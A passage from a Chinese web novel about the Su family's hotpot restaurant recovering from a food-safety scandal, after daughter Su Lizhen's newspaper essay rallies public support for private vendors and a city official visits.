“那啥,小老板,您说的这个活儿我们啥时候过去啊?是先去您家那火锅店等着吗?咱兄弟一共哥五个,小老板,您看您都一块要了不?” 这一连串的问题把苏丽珍逗笑了,但她还是认真一一答道:“如果你们方便的话,明天早上七点半先到我家店里。我会提前跟我师兄打招呼,他是公司的总经理,工人的事都是他负责。” “到时让他先领着你们到工地转一转,看看能不能适应得来,毕竟这份工作还是有些辛苦的。” 虽说她对顾英杰和大河的印象不错,但也没有上来就大包大揽。一方面,雇佣本就是两方的事,讲究你情我愿;再者,她到底没见过另外三人,看眼前这两人的面子上帮一把已是破例,不可能t信口开河,随意许诺。 大河听懂了她的意思,却一点也没失望。 不说谁家招人都得先过过眼,就说现在这年月,找一份正经工作可老难了!没见大街上的街溜子一年比一年多吗? 上工地一个月挣四十块钱,这活儿你出去吆喝一声,有的是人抢着干,根本轮不到他们这些二流子。 更别说要是真选上了,人小老板还愿意让他们干学徒,那可是正经学技术! 啥也别说了,就冲这些,要不是怕把苏小老板吓着,他都恨不得现在就给对方磕一个! 所以他当场表态:“挣钱哪有怕辛苦的!小老板,您抬举我们,我们啥时候都领您这份情。再说,买卖不成仁义在,您都把饭碗递到我们嘴边了,谁吃不上,是他自己没本事,活该没这个福分!” 说完又紧忙捅咕一直没作声的顾英杰:“老大,你倒是说句话啊,难得人小老板这么照顾咱们!” 顾英杰看向苏丽珍,眼神中带着一抹复杂,良久,才道:“谢谢你,苏小老板,明天我会带人准时到贵店。”说完,就不再开口了。 看他这么冷淡,大河在旁边急得跳脚。 虽说他知道苏丽珍并不是个寻常小姑娘,老大也一再提醒他们这一点,但人家咋说也是个女孩子,家里又有钱,肯定还是有点脾气的。 眼下人家主动要帮他们安排工作,老大却一脸不冷不热的,这不是让人家拿热脸贴冷屁股吗? 不过出乎他意料,这位小老板似乎并不计较他家老大的冷淡,还冲他笑了下,客客气气说完话就走了,全然没什么芥蒂的样子。 这副老油条的行事作风叫大河好顿感慨,看人家小小年纪就有这样的城府,果然是能干大事的。 人和人真是不一样,想他这么大的时候,还在整天琢磨怎么偷邻居家树上的大柿子呢! 这可真是货比货得扔啊! 第115章 苏丽珍不知道大河对她的腹诽,知道了也不在意。 事实上,她能理解顾英杰对她的防备。 他为生计多年游走黑白之间,既要保护自己和兄弟,还要坚守道德底线,又要时不时躲避些明枪暗箭。这样的人,可不是别人随便给点小恩小惠就能收买的。 她虽然存了将对方收为己用的心思,不过现在,更多的是对顾英杰这种一直深处泥沼,却始终坚守本心、从不屈服的人心存敬佩,所以在力所能及之内,愿意拉拔对方一把。 这些没有必要说出来,毕竟日久见人心,时间可以见证诚意。 跟顾英杰碰完头,她这会儿还有别的事要做。 在百货商店买了两份糕点和水果,然后坐公交到凤城农业大学下车。 因为是周末的缘故,门口的警卫也没拦人,她直接进了校园里。 一路打听到石磊的寝室,没想到还扑了个空,石磊的室友说他这个时候一般都在实验室。 折腾了半个小时,几乎把农大的校园走了个七七八八,总算见到了在实验室里忙得正欢的石磊。 石磊见到苏丽珍十分惊喜,“苏学妹,你怎么来了?” 苏丽珍笑道:“今天休息就顺道过来一趟。石学长,我没打扰你吧?” 石磊摆手,“不打扰、不打扰,我还想着你家的化验报告今天早上出来了,正想下午给你们送过去呢!” 苏丽珍便说:“那正好我来取,也省的到时候麻烦你再跑一趟。” 石磊憨厚一笑:“不麻烦,报告就在我们赵教授那儿,我领你去拿。” 苏丽珍闻言忙将手里一份糕点和水果递给他,“学长,这是我爸妈知道我来,特地给你们准备的一点小零食,你拿去跟同学吃着玩吧。” 石磊很不好意思,推让半天,才被苏丽珍强塞下。 赵教授正在办公室里伏案忙碌,听说苏丽珍来了还挺高兴,见面第一句就兴致勃勃地打趣她:“看看,我们会用罗马数字防伪的聪明小同志来了。” 看出赵老私底下是个很活泼的性子,苏丽珍也难得笑嘻嘻凑趣两句,把人逗得哈哈大笑。 玩笑过后言归正传,拿到自家锅底和老卤的化验报告,亲自确认两份报告结果都没什么问题后,苏丽珍心底还是悄悄松了口气。 虽说她对自家的东西有信心,但凡事都有“不怕一万,就怕万一”。遇事做好最坏的心理准备是一种生活智慧,可不代表她真愿意心平气和地接受一个糟糕的结果。 现在有了这份化验报告,无疑是对自家食品的一个信誉背书,起码别人轻易没法拿安全和品质说事了。 也许是受报纸上“朱记”事件的影响,赵教授把报告交给她的时候,还语重心长地叮嘱道:“改开是机遇也是考验,追求利益并不可耻,但是一定要注意方式、方法,不能因为现有的制度法规不完善就去钻空子。以诚为本,不忘初心,才是长远之道。” 苏丽珍郑重地点了点头,接受了老教授的提点。 怕耽误教授工作,苏丽珍没有多待。临出来时,赵老还问她对农学感不感兴趣,可以考虑来考他们学校,还一再告诉她,他们学校的食堂是全凤城最好吃的食堂,来了不后悔。 苏丽珍笑得不行,可还是非常委婉地表示自己的目标是首都的学校,老教授听完倒也不失望,还夸苏丽珍有理想、有目标,鼓励她继续努力,争取考上首都大学,将来能更好地建设祖国。 从农大出来,苏丽珍又去了凤城最大的五金建材商店,配了两副玻璃相框,将两份报告装好才回家。 回到店里,苏家人和员工们看见两份由农大签署的合格报告,别提多高兴了。 苏卫华更是张罗着要搞个仪式,待会儿先去买两挂鞭炮,等明天一早放了,把场面弄得热热闹闹的,然后再把两份报告挂在正对大门的墙上,让进来的顾客第一眼就能看见。 大家自然没意见,王树还自告奋勇要去跑腿买炮仗。 众人说笑间,苏丽珍看了眼店里零星的两桌食客,眼神微黯。 自打开店以来,在周末的饭点这么冷清悠闲还是头一回。 这一个星期,店里的生意大打折扣,每天客流量腰斩了将近三分之二,熟食柜台更是一天也卖不上几斤。 虽然父母和小麦姐极力掩饰,但是她还是一眼看出他们眼中隐藏的忧虑。 店里员工稳重如齐志飞和王树还好些,曹金凤和夏春花整日神情惴惴,似乎很怕店里效益不好,会将她们裁掉。 事实上,在私人饭馆、小吃摊占比全市个体户80%的今天,受“朱记”牵连的远不止她家,几乎所有相关从业者都受到了不小的影响。 比如之前他们摆过摊的客运站门口,那里原本在他们走后又添了两家小吃摊,一份卖包子,一份卖烙饼,平时生意都很红火。 可方才坐车经过时,她特地观察了一下,今天两个小吃摊上几乎没什么人,反而是十米开外的那家国营饭店,排队的人都已经排出了店门外。 现在的人对于个人贩卖的吃食,第一反应就是不信任。 说起来也怪不得大家信不过,其实在“朱记”被爆出来之前还闹出过一件事。 就是先头跟风他们家在客运站摆摊卖包子,还找人诬陷他们把人吃坏的那个王老四。这也是个缺德的,卖的包子用病死猪肉做馅,把一个学生给吃进了医院,结果被人直接举报了。 当时这件事闹出的动静也不小,王老四本人更是被送去吃了牢饭。 然后这件事过去没到两个月,现在又闹出“朱记”违规使用硼砂,以劣质肉片充作好肉糊弄食客的行径,闹得现在十人里有九人对个人商家出售的吃食闻之色变。 在个体户普遍被看不起的现如今,一个王老四、一个朱广才,无疑让这个群体的处境雪上加霜,跟个体经营有关的一切几乎都被打上了“不卫生”“不安全”的标签。 而事实上,“朱记”之后,为杜绝再有此类情况发生,工商局、街道办和执法部门联合成立了检查组,对自由农贸市场、副食品店等销售点,以及各大公私营饭馆采取突击检查。 一些摆摊的小商贩也必须到工商所登记,办理临时的营业执照,接受有关部门监督。 最终这次全市检查的结果表明,“朱记”的情况只是个例,即使个别存在一点小问题,也在底线之内,不至引起什t么不良影响。 这次大检查的结果也在第一时间见了报,苏丽珍特地留意过,几家凤城报纸都有过报道,可以说是广而告之了。 但就算这样,也仍然没有将公众对个体商户的不信任挽回半分。 对这个结果,苏丽珍是有心理准备的。 他们这些冲在政策前沿的人,不能只想着螃蟹吃到嘴的鲜美,也得随时做好被螃蟹扎手硌牙的准备。 在楼下随意吃了口饭,苏丽珍就回到自己的房间。 坐在书桌前,望着桌面上几份近期收集的报纸,她凝神思索了片刻,决定写一篇反应个体商户响应国家号召,自力更生,艰苦创业的文章,侧面为这个群体发声。 她的主旨是希望大家能明辨是非,任何一个社会群体中都有好人和坏人,不能因为一两个“害群之马”就去否定一整个群体。 但文章不能太直白,在对个体商户的反感如此强烈的情况下,直言规劝只会换来更强烈的反弹情绪。 但是上来就铺陈观点,未免有说教的嫌疑,一味陈述道理也容易显得呆板无趣,一个不好,对她想要表达的主题以及表现的效果都会大打折扣。 她决定以一个女儿的视角,描写一位因为生病一度自暴自弃的父亲如何自力更生,克服种种困难,在家人的支持下通过摆摊、当一名个体户,最后重新焕发生机,找回自信,再次支撑起家庭的故事。 文章开篇就写父亲的病。父亲原本是厂里最优秀的钳工,并十分热爱自己的岗位,无奈天有不测风云,父亲人到中年,本该正是在事业上发光发热的年龄,却突遭噩耗,不幸罹患了严重的心脏病。 因为生病,父亲不得已早早离开了自己的岗位,放弃了自己心爱的机床,自此只能在家休养。 然而屋漏偏逢连夜雨,父亲的病将家里的积蓄消耗一空,却并没能彻底治好,又因为父亲没有了工作,他们一家不得不搬离原先的房子。 一家人没有落脚的地方,父亲的病需要继续医治,家里的积蓄已经见底,母亲又没有工作,这一桩桩、一件件的苦难压在一家三口头上,也彻底压弯了父亲的脊梁。 父亲开始自责,觉得自己拖累家庭,甚至自暴自弃地不肯吃药,想让自己早早死去,好为这个家减轻负担。 可最终因为妻子和女儿的眼泪,他还是放弃了这个不负责任的想法。 他不甘心,还想为自己、为心爱的家人再拼一把。 一次偶然的机会,父亲从邻居家的收音机里听到了国家关于改开的政策,心里第一次有了方向。 于是再三思索后,父亲最终决定在家附近摆一个小吃摊,去做一个他之前一度很看不上的个体户。 妻子和女儿都对他的决定给予了最大的支持,一家三口起早贪黑地忙活这个小小的摊子。 盛夏酷暑几次被汗水湿透的衣服,风里雨里艰难行走的推车,走街串巷磨薄了底子又舍不得换掉的鞋子,还有为确保卫生常常泡在水里发白开裂的双手。 所幸辛苦耕耘换来了收获,小吃摊生意一天天变好,家里有了积蓄,父亲能用更好的药,甚至可以攒一笔钱去动手术。 父亲自此不再愁苦,摆摊的经历唤起了他对生活的希望,也让他被压弯的脊梁重新变得挺直。 文章着重刻画“父亲”从生病失业后的颓废,到摆摊二次创业成功的生机焕发。在这个过程中,“父亲”从曾经骄傲的工人师傅,到被许多人看不上的个体户,心理路程几经起落,且最终克服困难,战胜自己,重新实现了自己的人生价值,再次成为家庭的脊梁。 这篇文章的名字就叫做《父亲的脊梁》,在文里,“脊梁”既指代了精神力量,也代表了对家庭的支撑。 因为一场病,“父亲”险些失掉了“脊梁”,可通过当一个摆摊的个体户,自力更生,他又找回了自己的“脊梁”。 所以个体户真的那么低人一等、遭人厌吗? 用文里“父亲”的话说:“咱们一样靠自己的双手吃饭,只要勤勤恳恳、清清白白,就没啥可丢人的。” 一个你平时不大看得上的个体户,事实上,他既没偷、也没抢,都是在靠自己的双手吃饭。 他与你没什么不同,同样是支撑起一个家庭的脊梁;也同样与你一样,为自己所实现的价值而骄傲。 第116章 文章最后还有十分戏剧性的一幕。小吃摊的生意好了,引来了跟风模仿者,女儿和妈妈都很发愁,但是父亲却并不怎么担心。 女儿对此不解。父亲就告诉她,他之所以不担心是因为他有“秘密绝招”。 彼时,父亲就坐在摊子旁边,腰背挺得直直的,看起来自信又可靠。 女儿听完却更懵了,于是在她的追问下,父亲就把自己的“秘密绝招”告诉了她。 这个“绝招”只有八个字:人无我有,人有我优。 说完,父亲就乐呵呵地从自家锅里捞上一碗小吃,直接大口大口吃了起来。 不知道是父亲吃东西的样子太香,还是那天的风正好,把食物的香气吹出了老远,总之那一天他们摊子上的生意一如既往地好,好像一点也没受跟风者的影响。 文章通过设置这个小冲突收尾,勾起读者的好奇心,让人们心中不禁产生遐想,猜测所谓的“秘密绝招”是否真的有效,“父亲”的小吃摊未来又会有怎样的变化。 同时,利用“生意好了却引来模仿者”这件事,再一次说明了世事多艰,生活不易,同样引发了读者的共鸣。 最后,它也是对个体户同行们的一个忠告,要想经营好一门生意,光靠动歪脑筋是不长远的,打铁还需自身硬。 一口气将这篇文章写完,又前后修改了几遍,等最后誊抄完毕时已近日落时分,半下午的时间就这么不知不觉过去了。 这篇《父亲的脊梁》全篇大概两千字,正好写满了四页信纸。 她将稿子反复检查无误后折好,装进信封。投稿的报社也选择了凤城日报,联系人留的是她自己的名字和店里的地址。 其实以她家现在和李孟儒的关系,这篇稿子完全可以先递给李孟儒,让对方帮忙初审,但是苏丽珍想了想,还是不打算为这点小事消耗宝贵的人情。 第二天,跟一早赶来准备面试顾英杰几人的丁大勇打完招呼,她便早早出门,将信件投递了出去。 原以为最快也要十天半个月才有动静,没想到一周后她就收到了凤城日报的回信。 而且这封回信还是李孟儒亲自送来的! 当时,苏丽珍还在学校上课,家里人听说她的稿子被凤城日报采用后简直都惊呆了! 他们是真没想到自家的闺女(小妹)还有这份本事,一个个又是激动又是自豪。 李孟儒笑呵呵地看着这一家人欢欣鼓舞地样子,等他们的兴奋劲儿过去了,才将准备好的样刊拿给他们看。 报纸似乎新鲜“出炉”不久,上面还带着浓浓的油墨香,等一字一字把这篇《父亲的脊梁》看完后,苏卫华和李翠英夫妇都红了眼眶。 苏卫华更是控制不住地擦了好几次眼角,喃喃道:“这孩子……明明是我这个当爹的靠着她支撑才走到今天……” 李孟儒理解地拍了拍苏卫华的手背。 通过那天对苏卫华的采访,他就了解到在这一家三口的奋斗过程中,这个家里的小女儿出人意料地承担了更重要的角色。他甚至隐隐感觉到,那个聪明稳重的女儿才是这个家、这对老实巴交的夫妻俩的支撑。 他有些羡慕地对苏卫华道:“卫华同志,你们生了个好女儿啊!丽珍这孩子聪明懂事又孝顺,真是一百个难得!” 说完,他不动声色地扫了眼店里的客流情况,与那日午间的客似云来的热闹相比,眼下实在是有些冷清。 受“朱记”影响,全市从事餐饮相关的个体户这段时间都蒙受了不小的损失。 一方面是现在的民众思想普遍保守、朴实,而“朱记”和郭赖子的行径过于恶劣,一度颠覆了大众的想法,因此导致民众产生了严重的信任危机; 加上市里另一部分人对改开政策解读不透彻,始终对“私有制经济”怀有强烈的抵触情绪。“朱记”的事一出,更大肆抨击个体经济,称其为“毒瘤”,呼吁社会不该放任其自由发展。 凡此种种严重打击了个体经济的积极性,t从长远看,更不利于改开政策的推行和发展。 上面也注意到了这个问题,就在前几天,他们报社就接到了一份指示,希望他们能在报纸上多做一些引导,让民众不要因为个别违法乱纪的情况就对这个新兴经济模式心存偏见,一提起个体饭馆、小吃,乃至所有个体户就怫然色变、喊打喊杀。 因此,报社接下来的重心将放在正确引导思想这方面,倡议大家放下对个体户的偏见,重拾对个体餐饮行业的信任,保证个体经济作为全面经济建设中的一部分顺利发展。 所以,苏丽珍的这篇稿子来得绝对恰如其分。 而事情一旦有组织上的舆论支持,便如顺水行船,事半功倍。估计形势很快就能扭转,到时她家火锅店的困境自然迎刃而解。 都说机会始终留给有准备的人,这话放在这聪敏的小姑娘身上,真是再合适不过。 连他都不禁感慨,卫华同志夫妻俩真是有福气啊! 事实也果真如李孟儒所想,苏丽珍的这篇稿子很快就在凤城市掀起一片讨论的热潮。 首先,如今报纸上刊登的文章大多以严肃质朴的风格为主,给人的印象就像是看着一群行事严谨的中年人。 而苏丽珍的这篇稿子言辞间却保留了一份女孩子独有的稚嫩、纯真,使文章通篇读下来充满了一种美好的清新感,就像一片园林里长满了参天大树,偶尔一株含苞带芽的新苗就格外惹人怜爱。 加上《父亲的脊梁》是歌颂父母这经久不衰、且最能打动中国人心扉的主题,所以苏丽珍的稿子在同期一起刊登的文章中给人留下的印象最深,也最受好评。 报纸发行后,凤城日报的编辑部就收到了很多来信,甚至接到了不少电话,许多人都表达了对这篇文章的喜爱。 他们感动于文中坚忍不拔的父亲和孝顺懂事的女儿,很想知道这位“父亲”的病现在好了没有。还有不少人跟编辑部打听文中一家人摆摊的位置,表示他们也想过去支持一下。 随后不久,凤城电台的一档新闻时评栏目也转载播报了这篇文章,主持人还在之后的评论环节念了两封报社提供的读者来信。 第一封信来自一名返城知青。信里写到,这名知青和她的爱人自78年底返城后,很快就重拾课本,一边努力复习,备考大学,一边耐心等待街道安排工作。 可惜天不遂人愿,小俩口经历几次高考,却始终落榜。眼见高考无望,好在她的爱人去年经由街道帮助,终于找到了一份清扫街道的工作,家里总算有了收入。 这期间小俩口又迎来了他们的第一个孩子,家里的经济情况越发紧张,只靠她爱人的微薄工资实在捉襟见肘。 这个女知青思虑再三,决定放弃读书,出去摆摊贴补家用。她从家附近的纺织厂批发了一麻袋碎布头,回家后做成各种头花、椅垫、布包贩卖。因为大家对她的手艺比较认可,所以生意倒也不错。 只是个体户不好当,什么事都要面面俱到,但凡有一点想不到,就可能造成大麻烦,甚至血本无归。 身体累是一方面,个体户还很不招人待见。自从她开始摆摊,左邻右舍总在背后指指点点,她父母也劝她“收心”,甚至提出要给他们的小家庭提供援助,让她以后都安心在家备考或者想办法找份正经工作干,不能整天这么“不务正业”。 尽管她的爱人一直理解她、支持她,可是面对周遭越来越多的质疑和轻慢,她也渐渐丧失了信心,不知道该不该继续把摊子摆下去。 就在她彷徨无解之际,她在报纸上看到了那篇《父亲的脊梁》,顿时生出一种豁然开朗的感觉。 同样是用劳动换取价值,她干个体也是响应国家号召,自力更生。在实现自我价值这方面,她其实并不比考上大学和有正经工作的人差,她也一样能挺直脊梁,抬头做人。 所以她很感谢《父亲的脊梁》这篇文章的作者,在她陷入自我怀疑时,启迪她人生另一种思路,让她不再纠结。 同时,她希望编辑部能告知她作者的联系方式,她很想去试试他们的小吃摊,她觉得能说出“人无我有,人有我优”这样话的人,手艺肯定差不了。 第二封信是一个上高中的女生寄来的。女孩信里写到,她的父亲去世的早,母亲没有工作,她们母女二人多年只能靠糊火柴盒为生。 直到政策开放后,母亲为了供她上学,开始每天起早贪黑地做发糕卖。 不管春夏秋冬,母亲每天三点多起床发面,蒸好一大锅苞米面发糕,然后早上七点就出门叫卖。 怕发糕在箱子里捂久了变馊,母亲一次不敢做太多,一般早上一锅、中午一锅,每天要忙到四、五点钟才能收工回家。 到家后也不停歇,要清洗、晾晒屉布,收拾厨房,还要准备第二天要用的苞米面和柴火,一忙又要忙到七、八点钟。 母亲整日的辛苦忙碌换来了支撑这个家的、并不丰厚的收入,然而母亲却特别知足。 可是最近,受到一家用劣质肉的个人饭馆影响,母亲的发糕开始不好卖了,时常一大早出去,中午回来还剩下大半锅。母亲脸上的愁容也越来越多。 她不知道怎么宽慰母亲,直到偶然在老师那里看到了《父亲的脊梁》这篇文章,她觉得文中“父亲”的形象跟她的母亲很像,都是那么勤劳、坚韧,平凡又伟大。 她希望大家能早日消除对母亲的偏激和误解,真的不是所有的商贩都那么坏的! 她母亲做的发糕干干净净,用的是她一遍一遍过筛的精细苞米面,连上面点缀的红豆都是她一粒粒精心挑选,绝对不存在任何以次充好。 她还希望她和母亲能像文中写的那样,靠自己的双手,摆脱苦难的日子,走向充满光明的未来。 这期节目很快引起了热烈反响,各大报社期刊随后出现了更多为个体户发声的文章报道,直接引发了全市人民对“个体餐饮从业者及个体户”话题的大讨论。 受到报纸文章及电台节目的启发,一部分人不由开始反思,个体户真的就该低人一等吗? 那些卖吃食的小摊子、个人饭馆难道统统都不值得信任吗? 报纸上不也说过,之前全市食品卫生安全大检查结果不错,没发现啥不好的问题吗? 既然这样,大家干啥死咬着不放呢,难不成真像收音机里说的因噎废食? 于是,不少人渐渐回过味儿来,觉得职业不分高低贵贱,哪一行都有好人、坏人,不应该一棒子打死所有人。 凤城人口基数大,哪怕真正思想转变的人只占了一小部分,算下来仍然是十分可观的数字。对于现在刚刚起步的个体经营者来说,足够他们盘活连日死寂的生意。 于是,沉寂了半个月的凤城各大私人饭馆和小吃摊终于再度飘起了食物的香气,大伙儿的买卖也陆续重回正轨。 第117章 珍珍火锅店生意恢复正常的时间,相比其他人家还早不少。 店里的王树是个勤奋能干的小伙子,自觉苏家人对他格外好,连带他家里人都得到惠及,心里一直存着感激,因此看店里生意一落千丈,他自己竟是比老板一家都着急。 于是,这孩子三不五时就跑到街口招揽客人,被苏卫华知道后一再劝他也拦不住。 苏家自打开店来,因为食物味道过硬,环境高档,服务又好,价格又不比国营饭店贵多少,加上别具一格的会员制度,其实已经养成了一批老主顾。 虽然人们最初被“朱记”的事恶心得够呛,想起这些个人的小饭馆就直摇头,但在一些老客心里,苏家的店还是有些不同的。 再有王树当街卖力吆喝,几乎把他们这些常去的食客每一个都记得一清二楚,小伙子人有礼貌、又嘴甜会说话,有些人禁不住,加上肚里馋虫闹腾,果然就又来光顾了。 所以店里每天还能有个十来桌的客人,别看还是不多,但照比其他家一天见不着一个人影的情况可好多了。 此外,还有薛老爷子、安厂长和卢向阳的父亲、哥哥这些平时跟苏家有交情的,这阵子也经常带着朋友来光顾。 张表舅两口子也赶着马车把老丈人一家和在村里交好的亲朋故旧拉上,热热闹闹在店里吃了两顿,吃完算账的时候,苏卫华要给抹零都不干。 就连一向没什么动静的苏丽珍爷奶也难得主动来了两次。第一回吃午饭,t苏丽珍的小叔苏为民要给钱,苏卫华夫妻俩没收;第二回苏老头发话,苏卫华才象征性收了一点。 因为这些热心的亲戚朋友捧场,火锅店这段日子虽说没挣什么钱,可也不至于亏损。 后来,苏丽珍拿回了锅底和老卤的化验报告,明确自家的配方安全无毒。 更为了进一步安顾客们的心,针对食材,苏丽珍又专门在大堂辟出一角,每天安排齐志飞饭点前就在这里切肉片。用的什么肉,肉质好不好,分量够不够,这些问题一目了然,大家可以亲自过来验看。 对于火锅店的真诚,食客们也给出了最直接的反馈,他们放了心,开始呼朋唤友来店里吃饭,之后又互相转告。如此一传十、十传百,店里生意迅速恢复红火,甚至比之前还要火爆。 如今每天过了饭点,店里还鲜少有空桌。客人来了一拨儿又一拨儿,简直像是要把之前那几天的冷清日子一气补回来一样。 直到市里其他的个人餐馆、小吃陆续恢复后,这种情况才稍有缓解。 正当大伙儿松一口气的时候,街道宋主任又风风火火地上门通知,说是明天市委的领导下来视察工作,第一个点名他们家的火锅店,让苏卫华两口子提前做好准备,可别掉链子。 宋主任丢下个“炸/弹”,又急赶着通知别家,也没说具体什么章程就又火急火燎地走了。 苏卫华夫妻俩第一次经历这种事,正不知道该怎么应对,分管这一片的工商所夏所长也过来了。 夏所长是特地来的,他了解的比宋主任多一些,说是市委一直对“是否应该开放私有制经济、以及开放到什么程度”“雇工问题”等等莫衷一是,还有一部分人坚决持反对态度,为此市里反复开会讨论过许多次。 夏所长前段时间做的问卷调查也是源自于此。 他说,那时市里的一些领导就有意向亲自过来看一看他们家店,只不过前段时间爆发了“朱记”的事,才耽搁下来。 夏所长嘱咐他们,好好搞搞卫生,其他什么也不必做。平时什么样,明天就什么样,也不必太担心,明天过来的领导是主抓经济方面的,会问一些经营相关的问题,到时大大方方回答就好。 等苏丽珍晚上下晚自习到家后,苏卫华夫妻俩说起这事还难掩紧张。 倒不是别的,两人长这么大,见过最大的官就是夏所长了,现在乍然听说要接待市委的领导,总怕到时候表现不好,给领导留下个坏印象。 要知道本身干个体就挺招黑的,虽说现在外头舆论好了那么一点,可也仅仅是好一点,毕竟人们已经形成的观念是很难轻易改变的。 苏丽珍和苏小麦只好不停宽慰两人。 而且苏丽珍还觉得这是个好机会。她给家人们分析,按夏所长说的,明天来的领导是市里负责搞经济工作的,又点名要先来他们家看看,说明领导很重视他们这凤城头一批的个体户。 这其实已经是在领导层挂了号,虽说以后各方面监管会更加严格,但这也不失为一个保障,在今后应付各种突发状况时也多了一份底气。 听闺女这么一说,苏卫华夫妻俩也越发觉得这是个好事,倒是能慢慢静下心,把明天的各项准备工作以及领导可能提出的问题一一列在纸上,思考着具体的应对方法。 苏丽珍也没有过问太多,她能看出这一路走来父母的蜕变。他们从最初摆摊时嘴都张不开的窘迫难堪,到如今面对各种机遇、挑战的从容和自信,两人像焕发了重重生机,每天都洋溢着说不出的快乐。 这是仅靠充裕的物质生活所不能达到的。 既然父母享受这种全力以赴去做一件事的成就感,那她当然要无条件的支持。 等第二天中午放学,她匆匆赶回家,店里如同往常一样坐满了人。苏丽珍一边过去帮忙、一边听苏小麦讲上午领导视察的经过。 早上店里刚开门不久,视察的人就到了。打头的是市里一位姓谢的副市长,包括随行的夏所长和宋主任,这一行总共有八个人。 谢副市长人很随和,跟苏卫华夫妻俩了解火锅店的情况,问了不少问题,尤其对门口公示板上书写的会员规则很感兴趣,等听苏卫华解释过一遍后,不由赞扬他们头脑灵活,善于经营。 后来又看到农业大学的食物化验报告和对客人直接展示的改刀台,谢副市长更是表扬他们做事用心,讲原则,守信用,直言他们的饭店未来可期。 在店里仔细参观了一圈后,谢副市长又问起他们经营过程中遇到过哪些问题,苏卫华说了诸如食材采购、酒水供应之类的几点问题,之后又表示多亏相关部门的积极照应,如今问题已经解决,谢副市长听得十分认真。 末了,还叫秘书把他办公室的电话留给苏卫华,嘱咐他今后遇到什么困难可以给他打电话。 谢副市长一行前后停留了大约四十多分钟才走。 不过临出门之际,谢副市长握着苏卫华的手,说他们夫妻不但把餐馆经营得有声有色,还养了个优秀的女儿!凤城日报那篇稿子他也看过了,写得很好,可惜今天没机会,希望等以后能见一见这孩子。 直接把苏卫华和李翠英都给说懵了! 谢副市长怎么还认识珍珍呢? 还是苏小麦犹豫着提了一嘴,说这位领导不知道为啥看着有点眼熟。 夫妻俩一拍脑门,这么一说,这位副市长好像真有点熟悉! 眼熟,姓谢,还认识珍珍,这三点一综合,一个名字一下就冒出来了! “是芳芳那孩子!” “芳芳小妹!” 三人几乎异口同声说出来。 可不就是闺女(小妹)那个一放假就隔三差五跑来玩的同学,叫谢芳芳的吗? 苏丽珍听完这一番经过,也是着实吃了一惊,想起当初开店的时候,谢家还托了安厂长给他们送过贺礼。 她以为是谢芳芳的缘故,再三表达感谢后,也准备了一份分量差不多的回礼让安厂长帮忙带回去。 她跟谢芳芳关系好,但平时并没有多问对方的家世,只是隐约感觉到谢家可能远比她之前听说的还要显赫。 不过苏丽珍也没因为有了这次联系后,就巴巴地凑上去。只是之后每逢年节看望安厂长时,会礼貌性地给谢家也准备一份节礼。 谢家那头也一直有回礼,两家素未谋面,就这么不远不近地保持了一份淡淡的交情。 现在知道谢家是这样的大人物,苏丽珍更加庆幸他们之前一直安守本分,没有死皮赖脸硬贴上去。 想想今天谢副市长的态度,显然是公事之外也不反感与他们家的私交,这便是一种认可。 虽说有些话说出来显得没风骨,但是对他们这种平民老百姓来说,能交好身份地位远超自身的人,怎么看都是利大于弊的好事。毕竟他们也不指着倚仗人家谋求富贵,无非是遇难时能得对方伸手维护一二就足够了。 总之,除了最后这点不算坏事的小意外,这次接待工作总体比较圆满。事后夏所长和宋主任也都过来夸奖他们准备的充分,店里店外干净利索,处处诚意十足。 苏卫华面对领导的问话也是得体大方,言之有物。谢副市长对他们的表现很满意,认为可以把“珍珍火锅店”树立成一个典型,号召市内其他个体户向他们一家学习。 然后没过几天,凤城日报再次发表了一篇有关火锅店的专题报道。 文中除了当初李孟儒采访苏卫华的内容,还从各方面对珍珍火锅店予以肯定,夸奖他们家真正做到了“味美、质优、真诚、创新”这八个字。 呼吁其他餐饮从业者以“珍珍”为标杆,严格要求自己,让凤城市的老百姓今后无论走到哪一家餐馆,都能吃得放心、吃得舒心。 因为这篇报道的高度赞扬,珍珍火锅店的名声自此更加响亮,不少人慕名前来,店里的川味火锅、特色卤味几乎成了凤城市一块响当当的招牌,真正达到了声名远播。 第118章 时间过得飞快,春去夏来,一眨眼,又是一年盛夏时节。 这几个月苏丽珍一家格外充实,最重要的一件事就是四月底的时候,苏卫华在t凤城最好的外科医院做了心脏手术。手术很成功,今后只要注意保养,定时复查,十年八年都不会有大问题,这个坎总算是跨过了。 火锅店因为三月份的一次报道,生意一直很火爆。苏卫华手术养病期间,苏丽珍请了几天假,在丁大勇等人的帮衬下,倒也把店里打理得井井有条。 苏卫华康复后,家里店里一切顺遂,于是在全家人的鼓励下,苏小麦报了一所夜校读书。虽然开始的时候有些吃力,但她认真刻苦,成绩进步得很快,夜校的老师们也因此都很喜欢她。 现在已是七月中旬,刚刚结束高一下学期的期末考试,等待成绩的这几天,苏丽珍难得放下书本,在家享清闲。 可惜天不遂人愿,听说苏丽珍放假,丁大勇一大早就抱着一大堆筑梦公司的账本和各种单据找她理账。 看着眼前这堆乱七八糟辣眼睛的账目票据,苏丽珍不由深深吸了口气。 “勇哥,这就是你一直跟我说的没问题?这么一大堆单子,你到底是攒了多久?” 五月底,福利院的翻新工程就完工了,验收的时候无论是民政部门还是李孟儒都十分满意,痛痛快快付了尾款不说,李孟儒还主动牵线,帮忙介绍了好几个分属市政部门的小工程,虽然规模都不大,但也为公司积累了名气。 更因为有了这些公家的项目做招牌,筑梦公司在民间的知名度大大提升,诸如各公社大队建学校、盖养殖场和个人建房之类的订单一下接了不少。 因为项目多了,公司的规模也扩大了。经过几次招聘,丁大勇现在手下固定的工人已经达到二十五人。若加上流动的散工,最多能达四十人,算是目前市里最大的私人建筑队伍。 丁大勇目前是公司的总经理,主要负责工程设计和施工,苏丽珍则按约定暂时负责财务部分。 但是今年饭店生意忙,加上五月份苏卫华养病,六月份苏小麦上夜校,苏丽珍自己这边也要准备期末考试,事情实在太多了。丁大勇看她忙成这样,就让她专心处理家里这边的事情,筑梦那边的账目他先帮着记一段时间。 本来按照苏丽珍的想法,也是暂时接手财务工作,等明年公司的业务更稳定后,再招聘专业的人员接管。加上现在公司新建不久,账目也简单,所以听师兄拍着胸脯说自己能应付,她就直接一口答应了。 哪想到大勇哥是这么个应付法,看看这记得东一榔头、西一棒子的账目,还有那一沓子黑乎乎、卷边少角的单据票子,真是头都大了! 一旁的苏小麦听见这边的动静,放下手里的课本,凑过来看了一圈,顿时也忍不住捂嘴偷笑。 